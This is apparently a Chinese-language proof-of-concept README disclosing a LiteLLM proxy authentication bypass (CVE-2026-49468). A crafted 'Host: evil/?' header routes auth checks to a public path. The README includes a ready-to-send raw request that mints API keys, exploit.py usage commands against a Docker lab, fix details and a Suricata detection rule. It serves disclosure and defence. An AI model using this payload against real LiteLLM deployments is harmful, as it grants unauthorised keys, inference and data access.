BiiTts/CVE-2026-49468-LiteLLM-Auth-Bypass

# CVE-2026-49468 — LiteLLM 通过 Host 头路由混淆实现的未授权认证绕过 **LiteLLM** 代理中的预认证授权绕过。 只需构造单个 `Host` 头，即可使代理针对公共的健康检查路由进行认证决策评估，而 FastAPI 仍会执行受保护的管理处理器 —— 从而在**无需 API key** 的情况下响应请求。 | | | |---|---| | **CVE** | CVE-2026-49468 | | **产品** | LiteLLM (BerriAI) proxy | | **受影响版本** | `< 1.84.0` (已在 `v1.83.14-stable` 上验证) | | **修复版本** | `1.84.0` | | **分类** | 不当认证 (CWE-290) — 路由混淆 | | **认证** | 无 (预认证) | | **CVSS 3.1** | **9.8** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` (NVD) | | **CVSS 4.0** | 9.5 — `AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` (GitHub) | | **状态** | **已确认** — 端到端复现绕过；已在 1.84.0 上验证修复 | ## 根本原因 `litellm/proxy/auth/auth_utils.py::get_request_route()` 根据 `request.url.path` 推导出用于**每一个**认证决策的路由。Starlette 会从**客户端控制的 `Host` 头**重建该 URL 字符串： ``` # starlette/datastructures.py (来自 scope 的 URL.__init__) url = f"{scheme}://{host_header}{path}" # host_header = attacker Host ... @property def path(self): return urlsplit(self._url).path ``` FastAPI 路由基于*原始的* ASGI 路径 `request.scope["path"]` 进行分发。在 `Host` 头中注入 `?` 会将真实的请求路径推入 URL 的 **query** 组件中，因此重建的 `url.path` 会坍缩为 `/`： ``` real request path (scope, FastAPI routes here) : /key/generate Host header : evil/? reconstructed URL : http://evil/?/key/generate urlsplit(...).path : / <-- auth sees this ``` `/` 属于 `LiteLLMRoutes.public_routes`，并且两个认证网关都会在使用该伪造值命中公共路由时短路放行： ``` # user_api_key_auth.py — 认证构建器 if route in public_routes: # route == "/" return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY) # no API key required # user_api_key_auth.py — 授权包装器 if route in public_routes: # route == "/" return # skips common_checks / admin-route enforcement ``` **修复 (1.84.0)：** `get_request_route()` 现在直接读取 `request.scope["path"]` / `scope["root_path"]`，不再从 Host 头重建路径。 ## 影响 可在**未认证**情况下访问（以 `INTERNAL_USER_VIEW_ONLY` 身份提供服务）： - **`POST /key/generate`** → 生成有效的虚拟 API key。该 key 可作为正常认证使用，且无需绕过头 → 导致**持久的认证立足点**和提供商**成本滥用**。 - **`POST /user/new`** → 创建用户。 - **`POST /chat/completions`** (+ `/v1/models`, `/model/info`) → 针对代理配置的 LLM 提供商进行**未授权推理**。 - **`GET /spend/logs`, `/settings`, `/get/config/callbacks`** → 配置 / 遥测数据泄露。 受**内联 `PROXY_ADMIN` 检查**保护的端点仍然会被拦截（`/config/update`, `/model/new`, `/user/list`, `/key/list`、角色提升、MCP 直接创建），因此该绕过**不会**在 `v1.83.14` 上产生完整的代理管理员权限或 RCE —— 请参阅 [ANALYSIS.md](ANALYSIS.md)。 ## 复现 ``` # 1. 启动一个包含漏洞 + 已修复漏洞的 lab（通过 master key 启用认证） cd lab && docker compose up -d && cd .. # 2. 确认 bypass python3 exploit.py -u http://127.0.0.1:4000 check # [*] GET /user/list 无 bypass Host -> 401 # [*] GET /user/list Host: evil/? -> 403 # [+] 存在漏洞：认证被 bypass（基线 401，bypass 到达了 handler：403）。 # 3. 在无 credentials 的情况下生成一个 API key python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo # [+] 已生成虚拟 API key（未认证）：sk-.... # 4. 未认证的推理 / 枚举 python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi" python3 exploit.py -u http://127.0.0.1:4000 dump # 已修复的 build（位于 :4001 的 v1.84.0）以 401 拒绝了相同的请求 python3 exploit.py -u http://127.0.0.1:4001 check ``` `exploit.py` 仅使用标准库 (`http.client`)，并在网络请求层面原封不动地设置 `Host` 头。可用操作包括：`check`, `mint-key`, `user`, `chat`, `dump`, `raw METHOD PATH`。 ### 原始请求 ``` POST /key/generate HTTP/1.1 Host: evil/? Content-Type: application/json Content-Length: 2 {} ``` ``` HTTP/1.1 200 OK {"key":"sk-...", ...} ``` 有关完整的基准/绕过矩阵、对抗性判别条件（`evil` → 401，`evil/foo` → 401，`evil/?` → 200）以及已修复的边界，请参阅 [EVIDENCE.txt](EVIDENCE.txt)。 ## 修复方案 - **升级至 LiteLLM `1.84.0` 或更高版本。** - 如果无法升级的临时缓解措施：将代理置于强制执行严格 `Host` 验证的反向代理之后（拒绝包含 `/`, `?`, `#` 的 Host 值），并设置一个 `master_key`。 ## 检测 该绕过利用的特征是语法无效的 `Host` 头。示例 Suricata 规则： ``` alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass"; flow:to_server,established; http.host; pcre:"/[\/?#]/"; classtype:web-application-attack; sid:2026049468; rev:1;) ``` 日志侧：任何到达 LiteLLM 代理且其 `Host` 头包含 `/`, `?` 或 `#` 的请求。 ## 致谢 Caio Fabrício ([BiiTts](https://github.com/BiiTts))。 仅用于授权的安全研究与测试。

标签：AV绕过, CISA项目, FastAPI, LiteLLM, Metaprompt, PoC, 暴力破解, 请求拦截, 路由混淆, 身份验证绕过, 逆向工具